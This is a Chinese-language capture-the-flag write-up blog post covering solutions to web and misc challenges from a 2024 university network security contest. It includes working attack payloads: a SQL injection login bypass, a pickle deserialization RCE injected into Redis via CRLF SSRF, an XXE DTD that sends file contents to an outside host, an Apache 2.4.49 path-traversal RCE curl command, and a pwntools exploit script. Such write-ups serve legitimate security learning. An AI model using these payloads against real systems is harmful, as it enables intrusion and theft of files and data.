2024年高校网络安全管理运维赛——实践能力赛

misc附件

web

phpsql

登录页面,密码输入单引号会报错,密码处存在sql注入
测试了一下,过滤了空格
admin
'or''='
登录

pyssrf

嗷,我的上帝,怎么还会有人在用python:3.7.1。flag文件位置:/flag
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask,request 
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)
def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e) @app.route('/')
def hello():
url = request.args.get("url")
return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
@app.route('/source')
def source():
return

这里把url的md5当键名保存在redis,这里pickle.loads有反序列化漏洞,构造恶意pickle序列化的内容然后存入redis,当redis里缓存了之后再次访问就会触发pickle.loads反序列化

找urllib.request.urlopen的漏洞可以找到https://cloud.tencent.com/developer/article/1582092

用crlf可以注入到redis

这里先获取redis的url来当key

1
2
3
4
import hashlib
key=hashlib.md5("http://127.0.0.1:6379".encode()).hexdigest()
print(key)
#cbdecc92165b29374b6b62cca016d4f8

这里开了debug可以利用报错

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
from requests import Request, Session
import pickle
import base64
from flask import render_template
class A():
def __reduce__(self):
return (exec, ("raise Exception(__import__('os').popen('tac /flag').read())",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
#b'gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ3RhYyAvZmxhZycpLnJlYWQoKSmUhZRSlC4='

payload

?url=127.0.0.1:6379?%0D%0Aset%20cbdecc92165b29374b6b62cca016d4f8%20gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ3RhYyAvZmxhZycpLnJlYWQoKSmUhZRSlC4=%0D%0Apadding

fileit

flag保存在根目录的flag文件中

源码注释

xxe,没回显

vps起一个python http.server

1.dtd

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip:port/?f=%file;'>">

payload

1
2
3
4
5
6
7
8
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://ip:port/1.dtd">
%dtd;
%all;
%send;
]>

misc

签到

逐帧提取 然后解rot13

钓鱼邮件识别



flag{WElcoMEto}

flag{PhIshhuntInG}


{N0wY0u

_Kn0wH0wt0_

ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

Apache

附件有一个dockerfile 显示的是apache 2.4.49版本,发现一个rce漏洞

https://www.freebuf.com/articles/web/293172.html

1
curl -X POST "靶机url/nc" -d "port=80&data=POST%20/cgi-bin/.%252e/.%252e/.%252e/.%252e/bin/sh%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2014%0D%0AConnection:%20close%0D%0A%0D%0Aecho;cat%20/flag"

Gateway

1
106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&

Ascii然后凯撒

flag{ad1985868133e8cf1828cb84adbe5a5b}

f or r

参考https://qanux.github.io/2024/04/22/geek2024/index.html
下载下面版本的curl
magnet:?xt=urn:btih:f98cc874544405d3f4598637df263d0b0431eb2a&dn=zh-cn_windows_10_business_editions_version_22h2_updated_april_2024_x64_dvd_a2873093.iso&xl=6433263616

进入到这个amd的目录,把里面的curl.exe和里面复制出来,把r文件夹里面的curl.exe覆盖到题目的r文件夹

flag{dc1d03c554150acedca6d71ce394}

zip

程序把队伍token当压缩包密码用,但是压缩包密码要和token相同,又不能超过64个字符,否则会导致压缩失败,所以取token的前64个字符就可以了。
由于flag不在根目录,要从tmp/flag压缩之后再解压到根目录才能读取
而程序实现flag的打印逻辑也有问题:输入的是flag{,后面无论是什么内容都能通过进而打印flag
现在要实现的是:既要使得压缩包能用正确密码(token前64位)解压,又要能绕过flag验证,即密码开头必须是flag{才能打印
看似矛盾,但由于压缩过程是开了一个tty终端,所以可以用DEL控制字符实现: 输入flag{,然后再把这几个字符删了,再输入token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(arch='amd64', os='linux')
context.log_level='debug'
file = './myzip'
elf = ELF(file)
# p = process(file)
lk = 'prob03.contest.pku.edu.cn 10003'.split()
p = remote(lk[0], lk[1])

token = b'544:MEUCIQDR1sW8U1MtsM5rnFP9rV3_UF2yy5aC1AbtgEbFqhvTGAIgJ2YEU8nSR_OKa2iIpIDrWUOAOkgaC3h8PFjtFUgOrq8='

p.sendline(token)
sleep(1)
p.sendlineafter(b'your token', token[:64])
exp = flat(
b'flag{',
b'\x7f'*5,
token[:64]
)
p.sendlineafter(b"your flag", exp)
p.interactive()
# flag{n3V3r-90nN4-91v3-Y0U-UP}

SecretDB

010打开,几乎都是空数据
在有数据的块里面找到了相似的结构010f

尝试发现010f后的第一个字节是顺序第二个字节是数据,如第一个17 2D表示第17位是-
把数据都记录出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
data_lines = [
('17', '2d'), ('0e', '39'), ('1b', '37'), ('10', '33'), ('0a', '62'),
('19', '32'), ('14', '62'), ('0f', '32'), ('12', '2d'), ('23', '34'),
('16', '36'), ('1f', '61'), ('25', '38'), ('02', '61'), ('1e', '66'),
('05', '66'), ('03', '67'), ('11', '63'), ('0c', '30'), ('04', '7b'),
('22', '61'), ('21', '62'), ('07', '32'), ('1d', '66'), ('26', '66'),
('1c', '2d'), ('09', '31'), ('27', '30'), ('0d', '2d'), ('0b', '66'),
('08', '39'), ('13', '34'), ('29', '7d'), ('15', '61'), ('28', '62'),
('06', '36'), ('1a', '64'), ('24', '65'), ('20', '62')
]

result_string = ''

for index_hex, char_hex in data_lines:
index = int(index_hex, 16)
char_code = int(char_hex, 16)

while len(result_string) <= index:
result_string += ' '

result_string = result_string[:index] + chr(char_code) + result_string[index+1:]

print(result_string)
# ag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

发现第三个-后面2d前面缺了一位,补上8 flag正确
flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

easyshell

冰蝎流量

在1278流中得到压缩包

aes解密再解base64解密两次,保存压缩包

得到

在这个1982流得到信息

1
Hello, but what you're looking for isn't me.

使用下面的方法压缩上面字符保存的txt

crc相同,明文攻击

得到压缩包密码A8s123/+*

1
flag{70854278-ea0c-462e-bc18-468c7a04a505}

2024年高校网络安全管理运维赛——实践能力赛
http://example.com/2024/05/07/2024年高校网络安全管理运维赛——实践能力赛/
作者
J_0k3r
发布于
2024年5月7日
许可协议
BY J_0K3R